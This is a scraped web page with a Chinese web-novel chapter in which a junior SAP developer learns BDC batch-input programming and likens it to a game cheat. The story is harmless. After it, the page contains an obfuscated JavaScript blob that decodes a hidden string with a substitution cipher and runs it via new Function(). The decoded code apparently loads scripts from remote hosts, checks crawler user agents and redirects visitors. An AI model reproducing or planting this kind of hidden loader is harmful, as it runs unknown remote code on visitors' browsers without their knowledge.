关灯
护眼
字体:

第37章 圆梦外挂(第1页)

章节目录保存书签

第二天上班,张伟就联系了alix!“alix,昨天to让我写一个s和sap的接口,有个技术问题搞不定,需要请教下啊!”张伟在微信上给alix发了消息。“我知道了,这个接口还有点难度,有两个解决方向,最好的就是用我上次给你说的那个bapi去找下,sap有没有提供标准的函数,承接报工的数据,如果有用bapi函数是最好的;第二个办法就是用bdc录屏批量处理技术,把s数据,写入系统,这个办法比较麻烦,我给你点资料,还有我找一个我之前写的程序给你,你学习下!”过了几分钟alix回复道。“好的,又有新技术学了啊!太爽了!多谢领导!保证完成任务!”张伟兴奋的回答。“很好!多干活,就会多学东西!”alix说“还有,后面其他部门找你干活的时候,给我说下!”“好的!”张伟有点机械的回复道!“你看下这个程序:z_02bdc_23”alix给张伟发了一个程序名。“收到!”“还有这些资料!”alix给张伟发了一个文件包。“收到!”张伟收到文件和程序名后,天然的就奔着bdc那边去了,这是一个新技术啊,必须得拿下,甚至还有参考案例,这可是天上掉馅饼的好事,把alix说的第一个方案直接给忽略了!毕竟bapi这个函数模式,自己已经学会了,bdc一个新的名词,新的技术,比起自己已经学会的技术,那吸引力不是一个级别的!张伟直接就奔着bdc这个技术名词就去了!首先啥叫bdc啊?张伟没好意思问!对于这种比较简单的问题,张伟觉得通过自己能力去解决比较好!需要问的肯定是那种比较关键的问题,就像这次s如何把数写进sap这种大一点问题,方向性的问题,问起来才有价值,而不是随便一个问题就问!张伟觉得自己也是有节操的!问的问题要有水平!他认为alix也有属于自己的事做,问的问题没有水平,人家估计也不耐烦吧!至少从目前来看,张伟觉得alix对自己的观感还不错,自己的问题也都很被重视!重点还是自己的问题很有水平!不是那种垃圾问题!张伟开始了百度abapbdc技术!bdc英文名“batchdataunication”,虽然张伟不喜欢英文,但是全称自己还是要知道的,可以记不住这个全称英文,但是要搞懂这个全称的中文意思啊!bdc张伟自己总结了,这个技术的大概意思就是批量数据录入,有多种模式,前台模式,报错模式,后台模式!张伟还是没搞太懂!但是没关系啊,不是有alix给的那个程序么!于是张伟输入了程序名,施展了筑基技能debug,在筑基技能面前,这个bdc技术的神秘面纱,就慢慢的被张伟给抽丝剥茧的拿捏了!当张伟搞清楚这个bdc时,其实心里是波澜起伏的!甚至是有一点怅然若失啊!遥想当年自己大学醉生梦死的游戏生涯!挂科的种种!简直是恍如隔世啊!虽然自己离开大学也才几个月,怎么自己总感觉大学好像离自己已经非常的遥远了!可见张伟心中对学校那段时光,是多么的不愿意提起!张伟记得,自己当时决定不再打网络游戏时的情景!“外挂猪!外挂猪!“寝室六个人,集体对着游戏里的那个外挂选手,骂道!人家只是发了一句话,就把张伟击穿了,直击灵魂的那种贯穿!这句话让张伟,那一晚上直接坠入了冰窖!当然也是那句话,拯救了张伟!“外挂我自己写的,有本事你们也写一个啊!一群sb!”当晚张伟看到游戏界面漂浮出这句话时,犹如五雷轰顶!犹如坠入冰窖,瞬间全身冰凉!这个bdc,张伟觉得,就是sap的外挂!张伟始终也没有开发出游戏的外挂,但从那之后自己就再也没有玩过游戏了,张伟觉得,这辈子的游戏,都在那段醉生梦死、昏天暗地的时光给玩完了!就像现在钟浩、刘书下班后邀请张伟玩游戏,张伟也就是挂着,基本不怎么操作,就是给他们凑个人数,其实他们也挺纳闷的一个学计算机的居然不玩游戏,真是个奇葩!张伟也不解释!主要是张伟这个解释起来太惊天动地了,怕他们不信啊!不是不玩是玩的太多了,难道说自己玩游戏挂科40多门?试读?最后浪子回头,幡然醒悟,从此面朝大海春暖花开!你说这个谁信啊!只能说sap太懂张伟了,硬是要以这种方式弥补张伟的外挂遗憾啊!这个bdc用游戏外挂的思路来讲,就很好解释了,就是用电脑代替人来进行操作!按照张伟现在的发展路径,和对游戏的观感,估计这辈子,也没法去完成游戏外挂程序的开发了!,!但是sap就给了张伟这样一个bdc技术!张伟真是有点怅然的释怀啊!也算是从技术上弥补自己的小遗憾啊!换成现在sap和s的接口来讲,就是当s需要把数据传给sap时,以前是靠人来一条一条的手工搬运,手工输入,而现在就是用这个bdc技术,可以实现让s的数据,直接在后台就自动录入到sap系统了!人工从s搬运一条数据到sap需要1分钟,现在后bdc技术,因为是后台用程序输入数据,1分钟至少可以录入100条以上,效率至少提升了100倍!你说这个算不算sap的外挂技术!就等于以前100条数据要100个人,每人1分钟,或者1个人干100分钟,现在1分钟搞定!这就很清晰的解释了,当初张伟他们宿舍6人在游戏里,杀不死对方,按照这种算法,要杀死对方,需要100人同时杀向对方,对方才可能被秒掉!可见这个外挂技术,得有多么的nb哦!不过张伟觉得,游戏的外挂,最多就是打个游戏,群体pk时不被玩家秒掉!而现在自己即将掌握sap的bdc技术,是实打实的可以让用户少工作,提升100倍工作效率的技术,这个更加值得自己去钻研啊!游戏嘛!那是自己来时的路!无所谓对错了!现在的自己可以泰然的看待那段时光了!张伟想着也是觉得好笑!居然把bdc技术赋予了这样一层含义,既弥补了自己的“外挂”开发情结,又为用户带来了效率的价值!被自己的脑洞之大,东拉西扯之强给搞笑了!剩下的就是具体的技术研究、学习,这个技术还真是有点麻烦,不能叫难,是麻烦!首先需要录制sap的操作屏幕!这话这么说了!就像张伟给用户录制系统操作的小视频一样的逻辑!只是给用户录制的是视频,而这个录制的不是视频,是一种可以被记住操作路径,操作步骤,输入数据的详细步骤记录文件,不是用视频模式记录的,是一个步骤,一个步骤,一个输入字段,一个输入字段的模式记录的,然后就在系统里得到这一个可以被编辑、被执行的屏幕录制文件!千万注意这个过程不能有任何的错误,包括屏幕顺序错误,还有需要录入的数据字段也需要记录清楚!然后这个动作搞完之后,就可以对这些字段进行变量命名了!这些搞完之后,就开始写程序了,程序就简单了,就是把s传过来的数据,整理成sap系统能接收的数据格式,传给这些变量!后面就调用函数,调用刚刚录制那个屏幕的bdc文件,然后bdc技术就自动把这些数据一个一个的输入到sap系统了,整个过程不用人工参与,真的就像打游戏外挂一样,就把活给干完了!张伟觉得这个bdc技术很好玩,至少从技术上完成了自己的外挂小情结!下班后第一时间就给女朋友汇报了这个外挂小情结技术!女朋友的回复是,张伟的脑袋真是异于常人,意淫到了新高度!东拉西扯的拉娘配的结果,硬是被你撮合了成天作之合!:()凡人码农加sap加xr征服世界

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();